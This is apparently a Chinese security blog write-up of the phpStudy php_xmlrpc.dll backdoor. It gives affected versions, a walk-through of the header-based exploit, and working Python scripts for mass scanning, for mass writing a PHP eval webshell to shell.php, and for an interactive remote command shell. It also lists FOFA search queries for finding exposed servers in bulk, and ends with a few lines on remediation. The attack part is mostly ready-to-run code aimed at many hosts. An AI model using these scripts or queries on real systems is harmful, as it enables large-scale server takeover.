一、漏洞描述
Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer
多款软件一次性安装,无需配置即可直接安装使用,具有PHP环境调试和PHP开发功能,在国内有着近百万PHP语言学习者、开发者用户。
正是这样一款公益性软件,2018年12月4日,西湖区**网警大队接报案称,某公司发现公司内有20余台计算机被执行危险命令,疑似远程控制抓取账号密码等计算机数据 回传大量敏感信息。
二、后门漏洞影响版本
phpStudy2016
php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll
phpStudy2018
PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll
三、漏洞危害
风险等级:高
风险危害:
1.获取服务器权限
2.写入webshell
四、后门漏洞复现流程
Accept-Encoding: gzip,deflate
Accept-Charset: payload(base64编码)
注意:
Accept-Encoding: gzip,deflate
gzip,空格deflate
gzip逗号后面这个空格需要删除,否则无回显
payload也就是我们的php代码,构造要经过base64编码过后再放入
复现过程:
抓取URL请求包,首页即可
然后发送到 Repeater模块测试
这里可以看见前面所说的gzip逗号后面的空格没有删掉
再者Accept-Charset需要自己构造
我们构造一个 system(‘whoami‘); base64编码过后的然后发送过去测试
这里可以看见,执行了whoami
接下来编写我们的 批量POC、EXP、交互shell
五、 Python编写批量POC、EXP、交互shell
批量POC:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author : 白纸书生
# @FileName: phpstudy_poc.py
import requests
def POC(url):
headers = {
‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0‘,
‘Accept-Encoding‘: ‘gzip,deflate‘,
‘Accept-Charset‘: ‘c3lzdGVtKCdlY2hvICJsb2NhbDwqKioqPmhvc3QiJyk7‘
}
try:
response = requests.get(url=url,headers=headers,timeout=3)
print(url)
if response.status_code == 200:
if "\"local<****>host\"" in response.text:
print(‘存在phpstudy后门漏洞------------‘,url)
return
else:
return
except:
return
if __name__ == ‘__main__‘:
for url in open(r‘urls.txt‘):
POC(url)
EXP:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author : 白纸书生
# @FileName: phpstudy_exp.py
import requests
def EXP(url):
headers = {
‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0‘,
‘Accept-Encoding‘: ‘gzip,deflate‘,
‘Accept-Charset‘: ‘ZnB1dHMoZm9wZW4oJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pPz4nKTs=‘
}
try:
response = requests.get(url=url,headers=headers,timeout=3)
if response.status_code == 200:
print(‘Success------------‘,url+"shell.php")
except:
return
if __name__ == ‘__main__‘:
for url in open(r‘urls.txt‘):
EXP(url)
exp这里的payload是写入webshell
payload: fputs(fopen($_SERVER[‘DOCUMENT_ROOT‘].‘/shell.php‘,‘w‘),‘<?php @eval($_POST[cmd])?>‘);
通过$_SERVER[‘DOCUMENT_ROOT‘] 获取网站根目录再写入。
交互shell:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author : 白纸书生
# @FileName: phpstudy_shell.py
import requests
import re
import base64
def SHELL(url):
try:
while 1:
shell = input(">>>")
shell = "echo \"abds\";system(\""+shell+"\");echo \"abds\";"
headers = {
‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0‘,
‘Accept-Encoding‘: ‘gzip,deflate‘,
‘Accept-Charset‘: base64.b64encode(shell.encode()).decode()
}
response = requests.get(url=url,headers=headers,timeout=3)
text = re.findall(r"abds(.+?)abds",response.text,re.S)
print(text[0])
if shell == "0":
return
except:
print("异常")
if __name__ == ‘__main__‘:
url = ‘http://localhost/‘
SHELL(url)
回显通过php的echo "abds"; 包裹着 也就是命令被两个字符串包裹着,然后我们通过python正则把它从abds中间提取出来即可
测试结果:
六、通过网络空间引擎批量搜索
这里采用fofa
构造通过返回的server
server="Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17"
server="Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45"
感觉准确率不够高的话,可以再加个php探针做限制
七、后门漏洞修复方式
1.更新phpstudy
2.手动删除该dll文件
3.采用火绒等杀毒软件查杀